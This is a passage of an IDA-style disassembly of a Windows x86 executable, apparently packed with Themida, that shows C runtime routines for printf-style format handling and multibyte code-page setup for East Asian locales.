jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F819: ; CODE XREF: sub_41F69F+158j
or [ebp+var_4], 20h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F822: ; CODE XREF: sub_41F69F+153j
cmp byte ptr [edi], 36h
jnz short loc_41F83B
cmp byte ptr [edi+1], 34h
jnz short loc_41F83B
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F83B: ; CODE XREF: sub_41F69F+186j
; sub_41F69F+18Cj
mov [ebp+var_30], edx
loc_41F83E: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
mov ecx, off_43C2F8 ; jumptable 0041F70D case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41F86A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41F86A: ; CODE XREF: sub_41F69F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
add esp, 0Ch
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F882: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 7
cmp eax, 67h
jg loc_41FAAA
cmp eax, 65h
jge loc_41F92D
cmp eax, 58h
jg loc_41F98B
jz loc_41FB1E
sub eax, 43h
jz loc_41F94E
dec eax
dec eax
jz short loc_41F923
dec eax
dec eax
jz short loc_41F923
sub eax, 0Ch
jnz loc_41FCA9
test word ptr [ebp+var_4], 830h
jnz short loc_41F8CC
or byte ptr [ebp+var_4+1], 8
loc_41F8CC: ; CODE XREF: sub_41F69F+227j
; sub_41F69F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41F8D9
mov esi, 7FFFFFFFh
loc_41F8D9: ; CODE XREF: sub_41F69F+233j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41FAF2
test ecx, ecx
jnz short loc_41F901
mov ecx, off_43C514
mov [ebp+var_8], ecx
loc_41F901: ; CODE XREF: sub_41F69F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41F90A: ; CODE XREF: sub_41F69F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41FAE9
cmp word ptr [eax], 0
jz loc_41FAE9
inc eax
inc eax
jmp short loc_41F90A
; ---------------------------------------------------------------------------
loc_41F923: ; CODE XREF: sub_41F69F+212j
; sub_41F69F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41F92D: ; CODE XREF: sub_41F69F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41FA11
mov [ebp+var_10], 6
jmp loc_41FA1F
; ---------------------------------------------------------------------------
loc_41F94E: ; CODE XREF: sub_41F69F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41F95A
or byte ptr [ebp+var_4+1], 8
loc_41F95A: ; CODE XREF: sub_41F69F+2B5j
; sub_41F69F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41F9A1
call sub_41FE9B
push eax
lea eax, [ebp+var_248]
push eax
call sub_423E5B
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_41F9B4
mov [ebp+var_28], 1
jmp short loc_41F9B4
; ---------------------------------------------------------------------------
loc_41F98B: ; CODE XREF: sub_41F69F+1FBj
sub eax, 5Ah
jz short loc_41F9C2
sub eax, 9
jz short loc_41F95A
dec eax
jz loc_41FB84
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j
call sub_41FE7E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j
; sub_41F69F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
jz short loc_41FA03
mov ecx, [eax+4]
test ecx, ecx
jz short loc_41FA03
test byte ptr [ebp+var_4+1], 8
jz short loc_41F9F4
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FA03: ; CODE XREF: sub_41F69F+32Fj
; sub_41F69F+336j
mov eax, off_43C510
mov [ebp+var_8], eax
push eax
jmp loc_41FA9F
; ---------------------------------------------------------------------------
loc_41FA11: ; CODE XREF: sub_41F69F+29Dj
jnz short loc_41FA1F
cmp bl, 67h
jnz short loc_41FA1F
mov [ebp+var_10], 1
loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj
; sub_41F69F:loc_41FA11j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43C8A0
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41FA71
cmp [ebp+var_10], 0
jnz short loc_41FA71
lea eax, [ebp+var_248]
push eax
call off_43C8AC
pop ecx
loc_41FA71: ; CODE XREF: sub_41F69F+3BCj
; sub_41F69F+3C2j
cmp bl, 67h
jnz short loc_41FA88
test esi, esi
jnz short loc_41FA88
lea eax, [ebp+var_248]
push eax
call off_43C8A4
pop ecx
loc_41FA88: ; CODE XREF: sub_41F69F+3D5j
; sub_41F69F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41FA9E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j
push edi
loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj
call sub_41AFE0
pop ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j
sub eax, 69h
jz loc_41FB84
sub eax, 5
jz loc_41FB5A
dec eax
jz loc_41FB47
dec eax
jz short loc_41FB17
sub eax, 3
jz loc_41F8CC
dec eax
dec eax
jz loc_41FB88
sub eax, 3
jnz loc_41FCA9
mov [ebp+var_2C], 27h
jmp short loc_41FB25
; ---------------------------------------------------------------------------
loc_41FAE9: ; CODE XREF: sub_41F69F+270j
; sub_41F69F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj
test ecx, ecx
jnz short loc_41FAFF
mov ecx, off_43C510
mov [ebp+var_8], ecx
loc_41FAFF: ; CODE XREF: sub_41F69F+455j
mov eax, ecx
loc_41FB01: ; CODE XREF: sub_41F69F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41FB10
cmp byte ptr [eax], 0
jz short loc_41FB10
inc eax
jmp short loc_41FB01
; ---------------------------------------------------------------------------
loc_41FB10: ; CODE XREF: sub_41F69F+467j
; sub_41F69F+46Cj
sub eax, ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FB17: ; CODE XREF: sub_41F69F+425j
mov [ebp+var_10], 8
loc_41FB1E: ; CODE XREF: sub_41F69F+201j
mov [ebp+var_2C], 7
loc_41FB25: ; CODE XREF: sub_41F69F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41FB8F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F69F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41FB8F
or byte ptr [ebp+var_4+1], 2
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB5A: ; CODE XREF: sub_41F69F+417j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41FB73
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41FB78
; ---------------------------------------------------------------------------
loc_41FB73: ; CODE XREF: sub_41F69F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41FB78: ; CODE XREF: sub_41F69F+4D2j
mov [ebp+var_28], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41FB84: ; CODE XREF: sub_41F69F+2F7j
; sub_41F69F+40Ej
or [ebp+var_4], 40h
loc_41FB88: ; CODE XREF: sub_41F69F+432j
mov [ebp+var_C], 0Ah
loc_41FB8F: ; CODE XREF: sub_41F69F+491j
; sub_41F69F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41FBA1
lea eax, [ebp+arg_8]
push eax
call sub_41FE8B
pop ecx
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41FBC8
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBBD
call sub_41FE7E
pop ecx
movsx eax, ax
loc_41FBBA: ; CODE XREF: sub_41F69F+527j
; sub_41F69F+539j
cdq
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBBD: ; CODE XREF: sub_41F69F+510j
call sub_41FE7E
pop ecx
movzx eax, ax
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBC8: ; CODE XREF: sub_41F69F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBDA
call sub_41FE7E
pop ecx
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBDA: ; CODE XREF: sub_41F69F+531j
call sub_41FE7E
pop ecx
xor edx, edx
loc_41FBE2: ; CODE XREF: sub_41F69F+500j
; sub_41F69F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41FC03
test edx, edx
jg short loc_41FC03
jl short loc_41FBF2
test eax, eax
jnb short loc_41FC03
loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41FC07
; ---------------------------------------------------------------------------
loc_41FC03: ; CODE XREF: sub_41F69F+547j
; sub_41F69F+54Bj ...
mov esi, eax
mov edi, edx
loc_41FC07: ; CODE XREF: sub_41F69F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41FC10
and edi, 0
loc_41FC10: ; CODE XREF: sub_41F69F+56Cj
cmp [ebp+var_10], 0
jge short loc_41FC1F
mov [ebp+var_10], 1
jmp short loc_41FC23
; ---------------------------------------------------------------------------
loc_41FC1F: ; CODE XREF: sub_41F69F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41FC23: ; CODE XREF: sub_41F69F+57Ej
mov eax, esi
or eax, edi
jnz short loc_41FC2D
and [ebp+var_1C], 0
loc_41FC2D: ; CODE XREF: sub_41F69F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41FC33: ; CODE XREF: sub_41F69F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_41FC43
mov eax, esi
or eax, edi
jz short loc_41FC7E
loc_41FC43: ; CODE XREF: sub_41F69F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41D480
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41D410
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41FC74
add ebx, [ebp+var_2C]
loc_41FC74: ; CODE XREF: sub_41F69F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41FC33
; ---------------------------------------------------------------------------
loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41FCA9
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41FC9C
test eax, eax
jnz short loc_41FCA9
loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj
; sub_41F69F+406j ...
mov [ebp+var_C], eax
loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj
; sub_41F69F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41FDA7 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41FCE1
test bh, 1
jz short loc_41FCC6
mov [ebp+var_16], 2Dh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj
test bl, 1
jz short loc_41FCD1
mov [ebp+var_16], 2Bh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj
test bl, 2
jz short loc_41FCE1
mov [ebp+var_16], 20h
loc_41FCDA: ; CODE XREF: sub_41F69F+625j
; sub_41F69F+630j
mov [ebp+var_1C], 1
loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj
; sub_41F69F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41FD01
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FD01: ; CODE XREF: sub_41F69F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_41FE46
add esp, 10h
test bl, 8
jz short loc_41FD33
test bl, 4
jnz short loc_41FD33
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_41FE15
add esp, 10h
loc_41FD33: ; CODE XREF: sub_41F69F+67Bj
; sub_41F69F+680j
cmp [ebp+var_24], 0
jz short loc_41FD7A
cmp [ebp+var_C], 0
jle short loc_41FD7A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41FD48: ; CODE XREF: sub_41F69F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_423E5B
pop ecx
test eax, eax
pop ecx
jle short loc_41FD8F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
loc_41FD68: ; DATA XREF: Themida_:0055D150o
push eax
call sub_41FE46
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41FD48
jmp short loc_41FD8F
; ---------------------------------------------------------------------------
loc_41FD7A: ; CODE XREF: sub_41F69F+698j
; sub_41F69F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_41FE46
add esp, 10h
loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj
; sub_41F69F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41FDA7 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FDA7: ; CODE XREF: sub_41F69F+68j
; sub_41F69F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41F6CB
loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj
; sub_41F69F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41F69F endp
; ---------------------------------------------------------------------------
off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er
dd offset loc_41F714 ; jump table for switch statement
dd offset loc_41F72F
dd offset loc_41F77B
dd offset loc_41F7B2
dd offset loc_41F7BA
dd offset loc_41F7EF
dd offset loc_41F882
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp
; sub_41F69F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_41FDF9
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_41FE04
; ---------------------------------------------------------------------------
loc_41FDF9: ; CODE XREF: sub_41FDE0+9j
push ecx
push [ebp+arg_0]
call sub_41F58A
pop ecx
pop ecx
loc_41FE04: ; CODE XREF: sub_41FDE0+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41FE11
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41FDE0 endp
; =============== S U B R O U T I N E =======================================
sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap
; sub_41F69F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_41FE43
mov esi, [esp+8+arg_C]
loc_41FE26: ; CODE XREF: sub_41FE15+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41FE43
mov eax, edi
dec edi
test eax, eax
jg short loc_41FE26
loc_41FE43: ; CODE XREF: sub_41FE15+Bj
; sub_41FE15+25j
pop edi
pop esi
retn
sub_41FE15 endp
; =============== S U B R O U T I N E =======================================
sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p
; sub_41F69F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_41FE7A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_41FE5C: ; CODE XREF: sub_41FE46+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_41FE7A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_41FE5C
loc_41FE7A: ; CODE XREF: sub_41FE46+Cj
; sub_41FE46+2Bj
pop edi
pop esi
pop ebx
retn
sub_41FE46 endp
; =============== S U B R O U T I N E =======================================
sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p
; sub_41F69F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41FE7E endp
; =============== S U B R O U T I N E =======================================
sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_41FE8B endp
; =============== S U B R O U T I N E =======================================
sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_41FE9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_420042
mov esi, eax
pop ecx
cmp esi, dword_4DC6C4
mov [ebp+arg_0], esi
jz loc_420036
xor ebx, ebx
cmp esi, ebx
jz loc_42002C
xor edx, edx
mov eax, offset dword_43C520
loc_41FEDD: ; CODE XREF: sub_41FEA9+41j
cmp [eax], esi
jz short loc_41FF53
add eax, 30h
inc edx
cmp eax, offset dword_43C610
jl short loc_41FEDD
lea eax, [ebp+var_18]
push eax
push esi
nop
call near ptr 2880000h
cmp eax, 1
jnz loc_420024
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DC7E0
cmp [ebp+var_18], 1
mov dword_4DC6C4, esi
rep stosd
stosb
mov dword_4DC8E4, ebx
jbe loc_420012
cmp [ebp+var_12], 0
jz loc_41FFE8
lea ecx, [ebp+var_11]
loc_41FF30: ; CODE XREF: sub_41FEA9+139j
mov dl, [ecx]
test dl, dl
jz loc_41FFE8
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41FF41: ; CODE XREF: sub_41FEA9+A8j
cmp eax, edx
ja loc_41FFDC
or byte_4DC7E1[eax], 4
inc eax
jmp short loc_41FF41
; ---------------------------------------------------------------------------
loc_41FF53: ; CODE XREF: sub_41FEA9+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DC7E0
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43C530[esi]
loc_41FF6F: ; CODE XREF: sub_41FEA9+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41FFA2
loc_41FF76: ; CODE XREF: sub_41FEA9+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41FFA2
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41FF9B
mov edx, [ebp+var_4]
mov dl, byte_43C518[edx]
loc_41FF90: ; CODE XREF: sub_41FEA9+F0j
or byte_4DC7E1[eax], dl
inc eax
cmp eax, edi
jbe short loc_41FF90
loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41FF76
loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj
; sub_41FEA9+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41FF6F
mov eax, [ebp+arg_0]
mov dword_4DC6DC, 1
push eax
mov dword_4DC6C4, eax
call sub_42008C
lea esi, dword_43C524[esi]
mov edi, offset dword_4DC6D0
movsd
movsd
pop ecx
mov dword_4DC8E4, eax
movsd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41FF30
loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej
; sub_41FEA9+8Bj
push 1
pop eax
loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj
or byte_4DC7E1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41FFEB
push esi
call sub_42008C
pop ecx
mov dword_4DC8E4, eax
mov dword_4DC6DC, 1
jmp short loc_420018
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FEA9+74j
mov dword_4DC6DC, ebx
loc_420018: ; CODE XREF: sub_41FEA9+167j
xor eax, eax
mov edi, offset dword_4DC6D0
stosd
stosd
stosd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_420024: ; CODE XREF: sub_41FEA9+51j
cmp dword_4DB300, ebx
jz short loc_42003A
loc_42002C: ; CODE XREF: sub_41FEA9+27j
call sub_4200BF
loc_420031: ; CODE XREF: sub_41FEA9+131j
; sub_41FEA9+179j
call sub_4200E8
loc_420036: ; CODE XREF: sub_41FEA9+1Dj
xor eax, eax
jmp short loc_42003D
; ---------------------------------------------------------------------------
loc_42003A: ; CODE XREF: sub_41FEA9+181j
or eax, 0FFFFFFFFh
loc_42003D: ; CODE XREF: sub_41FEA9+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FEA9 endp
; =============== S U B R O U T I N E =======================================
sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DB300, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420062
mov dword_4DB300, 1
jmp near ptr 26408DFh
; ---------------------------------------------------------------------------
db 1Bh
; ---------------------------------------------------------------------------
loc_420062: ; CODE XREF: sub_420042+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420077
mov dword_4DB300, 1
nop
jmp near ptr 28806EBh
; ---------------------------------------------------------------------------
loc_420077: ; CODE XREF: sub_420042+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42008B
mov eax, dword_4DB344
mov dword_4DB300, 1
locret_42008B: ; CODE XREF: sub_420042+38j
retn
sub_420042 endp
; =============== S U B R O U T I N E =======================================
sub_42008C proc near ; CODE XREF: sub_41FEA9+118p
; sub_41FEA9+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_4200B9
sub eax, 4
jz short loc_4200B3
sub eax, 0Dh
jz short loc_4200AD
dec eax
jz short loc_4200A7
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4200A7: ; CODE XREF: sub_42008C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_4200AD: ; CODE XREF: sub_42008C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_4200B3: ; CODE XREF: sub_42008C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_42008C+9j
mov eax, 411h
retn
sub_42008C endp
; =============== S U B R O U T I N E =======================================
sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DC7E0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DC6D0
mov dword_4DC6C4, eax
mov dword_4DC6DC, eax
mov dword_4DC8E4, eax
stosd
stosd
stosd
pop edi
retn
sub_4200BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DC6C4
nop
call near ptr 2880000h
cmp eax, 1
jnz loc_420221
xor eax, eax
mov esi, 100h
loc_420112: ; CODE XREF: sub_4200E8+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_420112
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420163
push ebx
push edi
lea edx, [ebp+var_D]
loc_420131: ; CODE XREF: sub_4200E8+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_420158
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_420158: ; CODE XREF: sub_4200E8+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_420131
pop edi
pop ebx
loc_420163: ; CODE XREF: sub_4200E8+42j
push 0
lea eax, [ebp+var_514]
push dword_4DC8E4
push dword_4DC6C4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_423CEC
push 0
lea eax, [ebp+var_214]
push dword_4DC6C4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DC8E4
call sub_422ACA
push 0
lea eax, [ebp+var_314]
push dword_4DC6C4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DC8E4
call sub_422ACA
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_4201DE: ; CODE XREF: sub_4200E8+135j
mov dx, [ecx]
test dl, 1
jz short loc_4201FC
or byte_4DC7E1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_4201F4: ; CODE XREF: sub_4200E8+127j
mov byte_4DC6E0[eax], dl
jmp short loc_420218
; ---------------------------------------------------------------------------
loc_4201FC: ; CODE XREF: sub_4200E8+FCj
test dl, 2
jz short loc_420211
or byte_4DC7E1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_4201F4
; ---------------------------------------------------------------------------
loc_420211: ; CODE XREF: sub_4200E8+117j
and byte_4DC6E0[eax], 0
loc_420218: ; CODE XREF: sub_4200E8+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_4201DE
jmp short loc_42026A
; ---------------------------------------------------------------------------
loc_420221: ; CODE XREF: sub_4200E8+1Dj
